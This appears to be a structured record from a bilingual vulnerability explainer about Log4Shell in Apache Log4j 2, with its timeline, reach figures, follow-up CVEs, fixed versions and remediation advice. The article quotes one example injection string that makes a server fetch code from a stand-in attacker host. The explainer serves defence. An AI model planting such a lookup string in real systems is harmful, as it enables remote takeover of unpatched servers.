{"data":{"case":{"actions":{"de":["Aktualisiere Log4j auf **2.17.1** oder neuer; unter Java 7 nimm **2.12.4**, unter Java 6 **2.3.2**.","Such Log4j auch in anderen Produkten: Die meisten Pakete binden es über andere Pakete ein. Frag deshalb deine Softwarehersteller, ob ihre Versionen behoben sind.","War eine alte Version jemals aus dem Internet erreichbar, prüfe Logs und Systeme auf Spuren eines Angriffs: Die ersten Versuche gab es am 1. Dezember 2021, bevor die Lücke öffentlich war."],"en":["Update Log4j to **2.17.1** or newer; on Java 7 use **2.12.4**, on Java 6 **2.3.2**.","Look for Log4j inside other products too: most packages include it through other packages, so ask your software vendors whether their versions are fixed.","If an old version was ever reachable from the internet, check logs and systems for signs of attack: the first attempts came on December 1, 2021, before the flaw was public."]},"criteria":{"damage":{"de":"Ein Gesamtschaden ist nicht dokumentiert, und das US-amerikanische Cyber Safety Review Board fand, dass die Lücke weniger ausgenutzt wurde, als viele Fachleute vorhergesagt hatten (CSRB, Juli 2022).","en":"No total damage is documented, and the US Cyber Safety Review Board found exploitation lower than many experts had predicted (CSRB, July 2022).","met":false},"exploitation":{"de":"Angriffsversuche erreichten bis zum 20. Dezember 2021 mehr als 48 % der Unternehmensnetze weltweit (Herstellerdaten von Check Point).","en":"Attack attempts reached more than 48 % of corporate networks worldwide by December 20, 2021 (Check Point vendor data).","met":true},"reach":{"de":"35.863 Java-Pakete auf Maven Central, mehr als 8 % aller, nutzten den fehlerhaften Code: weniger als ein Zehntel, und eine Zahl betroffener Systeme ist nicht dokumentiert (Google, 16. Dezember 2021).","en":"35,863 Java packages on Maven Central, more than 8 % of all, used the flawed code: short of a tenth, and no count of affected systems is documented (Google, December 16, 2021).","met":false},"response":{"de":"Das BSI stufte seine Warnung am 11. Dezember 2021 auf die Warnstufe Rot hoch, und die CISA erließ am 17. Dezember die Notfallanweisung 22-02 (BSI; CSRB-Bericht).","en":"Germany's BSI raised its warning to level red on December 11, 2021, and CISA issued Emergency Directive 22-02 on December 17 (BSI; CSRB report).","met":true}},"cves":["CVE-2021-44228","CVE-2021-45046","CVE-2021-45105","CVE-2021-44832"],"cvss":10,"cvss_version":"3.1","cwe":"CWE-917, CWE-20, CWE-674","dates":[{"date":"2021-11-24","key":"reported"},{"date":"2021-12-01","key":"exploited"},{"date":"2021-12-09","key":"disclosed"},{"date":"2021-12-10","key":"patched"},{"date":"2021-12-11","de":"Das BSI stuft seine Warnung auf die Warnstufe Rot hoch","en":"Germany's BSI raises its warning to level red"},{"date":"2021-12-17","de":"Die CISA erlässt die Notfallanweisung 22-02 für US-Bundesbehörden","en":"CISA issues Emergency Directive 22-02 to US federal agencies"}],"de":{"credit":"Alibaba Cloud Security Team","fixed":"Log4j 2.17.1, 2.12.4 (Java 7) und 2.3.2 (Java 6); erster Fix 2.15.0 am 10. Dezember 2021","product":"Apache Log4j 2, eine Logging-Bibliothek für Java-Programme","summary":"Eine Zeile Text in einem Log genügte, damit Server den Code von Angreifern ausführten, über eine Java-Bibliothek, von der 35.863 Pakete abhingen."},"disclosed":"2021-12-09","en":{"credit":"Alibaba Cloud Security Team","fixed":"Log4j 2.17.1, 2.12.4 (Java 7) and 2.3.2 (Java 6); first fix 2.15.0 on December 10, 2021","product":"Apache Log4j 2, a logging library for Java programs","summary":"One line of text in a log was enough to make servers run attackers' code, through a Java library that 35,863 packages depended on."},"figures":[{"de":"Java-Pakete auf Maven Central nutzten den fehlerhaften Code, mehr als 8 % aller (Google)","en":"Java packages on Maven Central used the flawed code, more than 8 % of all (Google)","value":"35,863"},{"de":"der Unternehmensnetze weltweit sahen bis zum 20. Dezember 2021 Angriffsversuche (mehr als; Daten von Check Point)","en":"of corporate networks worldwide saw attack attempts by December 20, 2021 (more than; Check Point data)","value":"48 %"},{"de":"Minuten nach der Veröffentlichung sah Cloudflare den ersten Angriffsversuch","en":"minutes after the flaw went public, Cloudflare saw the first attack attempt","value":"9"},{"de":"Stunden wendete ein einziges US-Bundesministerium für seine Reaktion auf","en":"hours one US federal department spent on its response","value":"33,000"}],"kev":"2021-12-10","key":"log4shell","name":"Log4Shell","product":"Apache Log4j 2","sources":[{"de":"Apache Logging Services: Sicherheitsseite zu Log4j, mit Bewertungen und korrigierten Versionen","title":"Apache Logging Services: Log4j security page, with scores and fixed versions","url":"https://logging.apache.org/security.html"},{"de":"Versionshinweise zu Log4j","title":"Log4j release notes","url":"https://logging.apache.org/log4j/2.x/release-notes.html"},{"de":"NVD: CVE-2021-44228","title":"NVD: CVE-2021-44228","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-44228"},{"de":"CVE-Eintrag CVE-2021-44832, mit den korrigierten Versionen","title":"CVE record CVE-2021-44832, with the fixed versions","url":"https://www.cve.org/CVERecord?id=CVE-2021-44832"},{"de":"US Cyber Safety Review Board: Untersuchung des Log4j-Vorfalls (Juli 2022, PDF)","title":"US Cyber Safety Review Board: review of the Log4j event (July 2022, PDF)","url":"https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf"},{"de":"Google: das Ausmaß der Log4j-Lücke","title":"Google: understanding the impact of the Log4j flaw","url":"https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html"},{"de":"Cloudflare: Ausnutzung von Log4Shell vor der Veröffentlichung","title":"Cloudflare: exploitation of Log4Shell before its disclosure","url":"https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/"},{"de":"Check Point: die Zahlen hinter den Log4j-Angriffen (Herstellerdaten)","title":"Check Point: the numbers behind the Log4j attacks (vendor data)","url":"https://blog.checkpoint.com/security/the-numbers-behind-a-cyber-pandemic-detailed-dive/"},{"de":"BSI: Warnstufe Rot wegen Log4Shell (11. Dezember 2021)","title":"BSI: warning level red for Log4Shell (December 11, 2021, in German)","url":"https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html"},{"de":"Sonatype: verwundbare Log4j-Downloads im Jahr 2025","title":"Sonatype: vulnerable Log4j downloads in 2025","url":"https://www.sonatype.com/blog/unnecessary-risk-the-persistence-of-open-source-vulnerabilities"}],"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","year":2021}},"description":"A flaw in Log4j, a logging library for Java, let attackers take over servers with one line of text. How it worked, how far it reached, what to do now.","language":"en","latest_measurement":"2026-10-23","method":"latency-v3","method_page":"https://crackthe.net/method/","source":"https://crackthe.net/","text":"On December 9, 2021, a flaw in Log4j became public, in a post on Twitter that has since been deleted. Log4j is a library from the Apache Software Foundation that Java programs use to write logs, the records of what a program does. If an attacker got a short line of text into anything such a program logged, the server could load and run the attacker\u0026rsquo;s code, without any password.\nThe US National Vulnerability Database rates the flaw, known as Log4Shell, at 10.0, the highest possible score.\nHow it worked Log4j does more than write log messages. It also evaluates placeholders inside them, called lookups, which look like ${...}. One of these lookups, JNDI, lets the library fetch an object from a directory server on the network. An attacker only had to get a string such as ${jndi:ldap://attacker.example/x} into something the server logged: a username, a chat message, or the browser name that a web request usually carries. The server then contacted the attacker\u0026rsquo;s directory server, received a reference to a Java program and, depending on the Java version and the libraries present, loaded and ran it.\nAttackersends a request with a lookup string Log4jlogs the text and evaluates the lookup Servercontacts the attacker\u0026#39;s directory server Javaloads and runs the attacker\u0026#39;s code Log4Shell in four steps: the attacker never logs in. It is enough that the server writes the text to its log. Reach, attacks and damage On December 16, 2021, Google counted 35,863 Java packages on Maven Central, the main public store of Java libraries, that depended on the flawed Log4j code. That is more than 8 % of all packages there, while the average security advisory for Maven Central affects 2 %. Only around 7,000 of these packages used Log4j directly. Most included it through other packages, mostly five levels down.\nJava packages on Maven Central and Log4Shell Affected packages35,863 Of them, with Log4j as a direct dependency (around)7,000 Fixed after less than a week4,620 Source: Google Open Source Insights, December 16 and 17, 2021.\nAttacks began before the flaw was public. Cloudflare saw limited testing on December 1, eight days before the disclosure, and its first attack attempt just nine minutes after the post. Then the wave began.\nLog4Shell attacks blocked by Cloudflare December 105,483 December 1118,606 December 1227,439 December 1324,642 Blocked requests per minute, daily average, December 2021. Cloudflare vendor data.\nFive days after the disclosure, Cloudflare saw 400 attempts per second, the US Cyber Safety Review Board noted. By December 20, the security company Check Point had blocked more than 4.3 million attempts and had seen attempts on more than 48 % of corporate networks worldwide. These are counts of attempts in each vendor\u0026rsquo;s own data, not of successful break-ins, and they cannot be compared with each other.\nCorporate networks with at least one attack attempt Austria59 % Germany54 % Switzerland47 % United States46 % Check Point vendor data, as of December 13, 2021.\nHow much damage was done is not documented. The Cyber Safety Review Board, which reviewed the case in 2022, found that exploitation stayed lower than many experts had predicted, given how severe the flaw was. It also stressed that no authoritative data on exploitation exists. The cost lay mainly in the response: one US federal department alone reported 33,000 hours of work on Log4j.\nThe fix and the response The Alibaba Cloud Security Team reported the flaw to Apache on November 24, 2021. Apache committed a fix on December 5 and made version 2.15.0 available on December 10. That fix was incomplete, and three more releases followed.\nFour Log4j releases in 17 days 1 2 3 4 1December 10, 20212.15.0 limits JNDI lookups but leaves a gap 2December 13, 20212.16.0 removes lookups in messages and switches off JNDI by default\u0026#43;3 days 3December 17, 20212.17.0 fixes a lookup that loops until the program crashes\u0026#43;7 days 4December 27, 20212.17.1 fixes an attack through the logging to databases\u0026#43;17 days The follow-up flaws got CVE numbers of their own. CVE-2021-45046, the gap in 2.15.0, is rated 9.0. CVE-2021-45105, the crash, is rated 5.9. CVE-2021-44832, rated 6.6, only works for an attacker who can already change the logging settings. For programs on older Java versions, Apache released 2.12.4 for Java 7 and 2.3.2 for Java 6.\nGovernments reacted quickly. CISA, the US cybersecurity agency, put Log4Shell on its list of exploited vulnerabilities on December 10, the day the first fix came out. Germany\u0026rsquo;s Federal Office for Information Security (BSI) raised its warning to level red on December 11. On December 17, CISA issued Emergency Directive 22-02, an order that US federal agencies must follow.\nStill in use years later Many copies stayed unfixed. Google expected a long wait, likely years, before the whole Maven ecosystem was fixed. In 2025, about 13 % of all Log4j downloads, roughly 40 million, still contained Log4Shell, Sonatype reports.","title":"Log4Shell: when a line in a log runs the attacker's code","url":"https://crackthe.net/vulnerabilities/log4shell/"}